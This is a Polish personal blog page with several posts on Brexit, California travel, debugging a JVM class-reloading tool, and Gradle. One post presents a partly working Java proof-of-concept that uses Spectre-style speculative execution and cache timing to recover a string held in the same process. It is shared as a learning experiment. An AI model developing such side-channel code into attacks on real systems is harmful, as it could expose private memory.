wtorek, stycznia 30, 2018

Ratować czy nie?

Tak czytam, że rząd UK w swoich analizach widzi, że wg ocen Brexit w każdym układzie skończy się źle.
W najlepszym przypadku przy non-brexit Brexit spadkiem o 2%, w najgorszym spadkiem o 8%.

I tak się zastanawiam. Wydaje mi się, że mają teraz do wyboru popchnąć kraj w dół, albo powiedzieć "ok kochani obywatele, szanujemy Wasz wybór, ale sorry wg naszej najlepszej wiedzy to po prostu nie wypali, więc część, nie będziemy się tym zajmować, szukajcie innych jeleni, którzy obiecają Wam, że będzie lepiej, a później was wydymają".

Pewnie byłby krzyk, że co z odpowiedzialnością za kraj, że jak tak można... Ale z drugiej strony. Skoro wyborcy chcą sobie zrobić kuku to jeśli sami tak rządzący nie uważają jak wyborcy to może powinni im - wyborcom - dać prawo do zrobienia sobie krzywdy?

Nie wiem co lepsze, trzymanie czegoś wbrew ludziom i robienie im dobrze mimo ich sprzeciwu, czy pozwolenie by osiągnęli to czego chcą czyli rozwalli system.
Wydaje mi się, że pierwsze daje dłużej czasu w miarę spokoju, drugie może pozwoliłoby na szybką korektę.
Chociaż nie jestem pewien, bo korekta mogłaby być nawet bardziej na pogłębienie problemów.

posted from Bloggeroid




Podobne postybeta
Dyski vs ja - 1:0 ;-)
Kontrrewolucja?
Na co "idą" moje podatki?
WebGL - dalsze zabawy
Znikające komputery ;-)

sobota, stycznia 27, 2018

Raport z emigracji - Mają tu w styczniu wegetacje :-)



Dlatego właśnie lubię Kalifornię :-)

Nie dość, że jest w miarę ciepło (tak między 10 a 15 stopni Celsjusza) to jeszcze im tu kwiatki o tej porze roku rosną :-)

Chociaż przyznaję, że Po 11 godzinach lotu w tym:

Człowiek może nie doceniać ;-)

No i koło 18-19 mnie sen dopadł i obudziłem się po północy... Ale spoko jeszcze pośpię parę godzin szczególnie jeśli teraz zrobię sobie 1 albo 2 godziny przerwy.

A jutro Alcatraz :-)

posted from Bloggeroid




Podobne postybeta
Walentynki
Co lubię
Był wrzesień, jest październik
Wernyhora mode - wieszcze, że następną usługą w Google Play będą Filmy ;-) i że będzie to w ciągu 12 miesięcy ;-)
Linux chyba jednak umiera :-(

czwartek, stycznia 25, 2018

Trudne problemy

Wczoraj pisałem, że kiedyś na rozmowie rekruterka spytała mnie jak rozwiązuje trudne problemy i po chwili zastanowienia odpowiedziałem jej, że właściwie to jest tak, że jak już zrozumiem problem, co często znaczy - rozwiąże, to nie jest to już trudny problem.

Rozmawiałem dziś o tym w pracy i dotarło do mnie, że inaczej definiuje trudny problem niż inni (przynajmniej niektórzy inni).
Kolega podał np problem napisania dobrego komponentu do rysowania wykresów jako trudny problem.
Ja go tak nie klasyfikuje.
To jest skomplikowane zadanie, ale w miarę dobrze określone. Stąd na pewno wymaga pracy, ale podchodząc do niego można dość szybko zdobyć zrozumienie i od tego momentu to jest bardziej testowanie różnych pomysłów.
Tu pomysły wydaje mi się łatwiej wygenerować.
To nie jest trudny problem, to jest ciekawy problem. Zabawny. Dający jakieś wyzwanie, ale nie wymagający raczej ataku bez wiedzy co się atakuje.

Dla mnie trudne problemy to taki gdzie nie rozumiem o co chodzi. Czemu coś nie działa, czemu coś się wywraca, gdzie coś ginie.
Trudność jest w ogarnięciu problemu, zrozumieniu co jest nie tak i później rozwiązanie jest zwykle już proste.
Może to chodzi o to, że ja trudnymi nazywam problemy których nie rozumiem, a nie te które wymagają dużej pracy.

Szczerze zazdroszczę koledze, że ma taki typ problemu bo tu widać nagrodę na końcu. Można mieć satysfakcję ze zbudowania czegoś przydatnego.
Jak ja rozwiąże problem nad którym teraz pracuje to może w nagrodę będę mógł rozwiązać podobny problem do tego nad którym pracuje kolega. Czyli w moim przypadku zmienić JVM dla Java 9 tak by pozwalała na przeładowywanie klas w locie (np z dodawaniem i odejmowaniem metod czy pol, a może nawet, choć to dużo mniej prawdopodobne ze zmienianiem hierarchi klas w locie ;-))

Trudny problem to wg mnie taki, który ma iloraz pracy włożonej w rozwiązanie przez ilość pracy potrzebnej do rozwiązania problemu gdy się je zna znacznie większy od 1 ;-)

posted from Bloggeroid




Podobne postybeta
Jak masz doła to nawet rozwiązanie problemu niezbyt cieszy ;-)
Dalsze zabawy z ePubGeneratorem :-)
Naiwny klasyfikator bayesowski nie jest jednak dobry do rozpoznawania clickbaitów ;-)
Code review - najfajniejszy kawałek procesu ;-)
Ja się tam mogę ewakuować....

środa, stycznia 24, 2018

Jak masz doła to nawet rozwiązanie problemu niezbyt cieszy ;-)

W okolicach stycznie i lutego zawsze mam załamanie samopoczucia, jak się jeszcze złoży tak, że w tym czasie nie mam nic fajnego do roboty to jest już źle.

Np. teraz pracuję nad narzędziem, które zmienia JVM tak że dodaje JVMowi zdolności do podmienia klas tak, że można np. dodawać lub odejmować metody i tak dalej.
Zowie się to DCEVM.
Większość roboty z przenoszeniem na nowszą Java’ę 8 zrobił kolega, on się bawił kodem ja muszę walczyć z głupimi środowiskami.
Na Linuksie wszystko mi się kompiluje i testy przechodzą, na Windows wszystko się kompilowało, ale testy nie przechodziły...
Gorsza sprawa, że nie przechodziły też na obocenie kompilowanej poprzedniej wersji...

W końcu uznałem, że sprawdzę czy w ogóle wykonuje się kod który dodajemy... to był dobry trop, ale nie do końca.
Przygotowałem sobie VMkę z Linuksem, na niej zestawiłem środowisko, wszystko ładnie działało, zainstalowałem IDE i zacząłem zmieniać kod w C++ dodając swoje logi.
No i testując robi się ciągle java -XXaltjvm=dcevm -version żeby sprawdzić czy jest dobra wersja.
I dziś wpadłem na pomysł, że na Windowsie gdzie mi to nie działa (maszyna jest w USA) też to zrobię, ale skopiuję jvm.dll z poprzedniej wersji z oficjalnych buildów... i okazało się, że JVM meldował się inaczej przy czystym buildzie, przy moim buildzie i przy oficjalnym...
To mnie doprowadziło do tego, że po prostu Mercurial (JVM jest na Merurcialu) w wersji na tym Windows nie wspomaga rozszerzenia mq... i przez to tylko ostatni patch się zainstalował...
Rozwiązałe problem z mq i od razu build zaczął działać i testy przechodzić...

Okazało się poraz kolejny, że problemy zwykle rozwiązuje się nie tyle je atakując wprost, ale atakując z wielu kierunków i zdobywając za każdym razem trochę więcej informacji.
Co najlpesze teraz wiem, że pewne symptomy które były wcześniej sugerowały mi ten problem.
I dzięki temu w przyszłości będąc w okolicy podobnych problemów będę lepiej umiał je rozwiązać.
To mi przypomina, że na rozmowie kiedyś Pani rekruterka spytała mnie jak rozwiązuję trudne problemy na co jej szczerze odpowiedziałem, że tak naprawdę to jest tak, że jak już rozwiązuje jakiś problem to on wcale nie jest trudny bo go wtedy rozumiem, a więc nie jest wcale trudny.
Bolesny jest tylko proces przejścia z sytuacji gdy nie rozumiem problemu do momentu gdy problem nie jest już trudny...
Czasem trwa to parę tygodni, czasem minuty.

Zwykle po czymś takim mam wyrzut endorfin i czuję się jak młody bóg ;-) ale że mam doła to moja reakcja była raczej „o f... na to zmarnowałem tyle czasu”?.

Jeszcze builda na OSX trzeba zrobić, włączyć CI i będe może mógł zacząć się zajmować Java’ą 9, ale tym rezem zażyczę sobie jednak CLiona.
Może się w końcu tego C++ nauczę...


Podobne postybeta
Trudne problemy
Zły dzień programisty
"Ochidna" Echidna ;-) czyli jak się mają prace nad RDrive.
Hackowanie teorii umysłu ;-)
Dodawanie i usuwanie metod i pól z klas Java w locie ;-)

piątek, stycznia 19, 2018

Gradle - narzędzie do artystycznego odstrzeliwania sobie stopy ;-)

Patrzę ostatnio na różne pliki Gradle'owe i stwierdzam, że w przypadku różnych narzędzi powinna zawsze obowiązywać zasada wujka Bena* ze Spidermana**, mówiąca, że "z wielką mocą przychodzi wielka odpowiedzialność".

Gradle daje olbrzymie możliwości, jego moc jest praktycznie nieograniczona...
Ale posiadanie tak wielkiej mocy znaczy też, że można robić różne rzeczy, których się nie powinno robić....
A to tworzyć taski, które mają dynamicznie generowane nazwy, a to używać "generyków" dla tasków, albo budować listę dependencji w locie i pobierać w locie JARy....

Stąd uważam, że każda strona z komendami Gradle'a powinna zaczynać się i kończyć od słów "with great power comes great responsibility"

* - a wcześniej np. Winstona Churchilla,
** - nie znoszę Spidermana, jest to jeden z najbardziej urągających logice superbohaterów ;-)


Podobne postybeta
Nowe jednostki pomiarowe - chyba metry i tiptopki
Czemu nie znoszę Spidermana.... ;-)
Prawdziwie przenośny komputer ;-)
Tak Maven'ie, zbłądziłem ;-)
Jak zmusić Gradle'a do używania ramdysku (na OS X)

niedziela, stycznia 07, 2018

Spectre powinno działać nawet w Java'ie ;-)

[Update: żeby było zabawniej dziś uruchomiłem na służbowym MBP15 i tutaj nie działa :-), co znaczy najpewniej, że coś jest nie tak w mojej implementacji, albo co mniej prawdopodobne, że już macOS został poprawiony ;-)]

Jak rozumiem Spectre działa dzięki temu, że CPU wykonuje spekulatywnie obie gałęzie warunku. Do tego dochodzi to, że jeśli w którejś z tych gałęzi mamy dostęp do pamięci głównej to jest fragment tej pamięci ładowany do cache'a procesora.
Dzięki temu później mierząc czasy dostania się do różnych fragmentów pamięci można próbować zgadnąć jaka była wartość zmiennej użytej do wyliczenia adresu tego ładowanego spekulatywnie fragmentu pamięci.

Chciałem sprawdzić czy podobne podejście pozwoli napisać w Java'ie kawałek kodu, który będzie miał pewien String, ale nigdzie go nie wypisze... i czy da się jego zawartość wypisać ;-)

Na razie odpowiedź jest, że tak, ale nie cały, co pewnie oznacza, że jeszcze nie do końca rozumiem działanie tego mechanizmu ;-)

Kod wygląda mniej więcej tak:

import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;

public class Spectre {

    public static void main(String[] args) {
        Map<Integer,Map<Character,Integer>> map = new LinkedHashMap<>();
        String s = "this is a secret string";
        int[] array1 = new int[1024 * 1024 * 10];
        int[] array2 = new int[100 * 1024 * 1024];
        for (int k=0; k<100; k++) {
            for (int i = 0; i < s.length(); i++) {
                char c = s.charAt(i);
                if (c > array1[i * 16384 * 16] && i > array1[i * 4096 + array1.length / 2]) {
                    int y = array2[c * 8192 * i];
                } else {
                    try {
                        Thread.sleep(100);
                    } catch (InterruptedException ie) {
                        //                    }
                }
                // lest try to guess c...                char cCandidate = 0;
                long min = Long.MAX_VALUE;
                String chars = "abcdefghijklmnopqrstuvwxyz ";
                for (int j = 0; j < chars.length(); j++) {
                    char a = chars.charAt(j);
                    long start = System.nanoTime();
                    int y = array2[a * 8192 * i];
                    long val = System.nanoTime() - start;
                    if (val < min) {
                        min = val;
                        cCandidate = a;
                    }
                }
                System.out.print(cCandidate);
                map.computeIfAbsent(i,key->new HashMap<>());
                map.get(i).put(cCandidate, map.get(i).getOrDefault(cCandidate,0)+1);
            }
            System.out.println();
        }
        System.out.println();
        for (Integer pos:map.keySet()) {
            char maxChar = 0;
            int max=Integer.MIN_VALUE;
            for (Map.Entry<Character,Integer> entry:map.get(pos).entrySet()) {
                if (entry.getValue()>max) {
                    max=entry.getValue();
                    maxChar=entry.getKey();
                }
            }
            System.out.print(maxChar);
        }
    }
}

Jakby co zastrzeżenie, to tutaj jest tylko w celach edukacyjnych.
 No i jeśli ktokolwiek byłby w stanie zbudować na tym co napisałem narzędzie do ataku czegokolwiek to i tak jest o wiele lepszym programistą niż ja i to tutaj mu lub jej wcale nie pomoże.

Jak to działa? :-)
A tak, że cud się dzieje w linii w której robimy sprawdzenie warunku z c (czyli kolejną literką w tajnym łańcuchu).
Ponieważ CPU by ustalić którą ścieżkę wybrać musi czytać z pamięci głównej to nie wie którędy pójdzie wykonanie programu.
Przez to spekulatywnie wykonuje obie ścieżki, chociaż prawdziwy jest tylko ta druga.
Ale jak wykonuje się spekulatywnie pierwsza ścieżka to wartość naszej szukanej zmiennej używana jest do zaadresowania elementu w tablicy, a że ten element nie znajduje się w cache'u to CPU musi załadować też ten fragment pamięci...

Następnie mierzymy czasy dostępu do pamięci odpowiadające poszczególnym literą.
Mierzymy czas dostępów, ten najkrótszy oznacza, że ten kawałek jest już w cache'u... czyli najpewniej ten znak się tam pojawił ;-)

Na moim i7-3610QM z Ubuntu najbliżej wypisuje się:
dhis is a secret string

Ogólnie stabilność znaków na końcu jest dużo wyższa, co pewnie znaczy, że trzeba by było trochę poczarować by nabrało to rumieńców ;-)

A sam mechanizm jest genialny....
Chociaż nie mam pojęcia jak odnajdywantom tego problemu udało się jeszcze czytać inne obszary pamięci, należące do Kernela i innych aplikacji..


Podobne postybeta
Niecne wykorzystanie refleksji... czyli jak poszukać tekstu w drzewie obiektów? ;-)
Zdradliwa Java i 8 królowych ;-)
Sztuczki tropiciela błędów ;-)
Potfór ;-) czyli generator z yield w Java'ie
Hackowanie odczytu danych Exif ;-)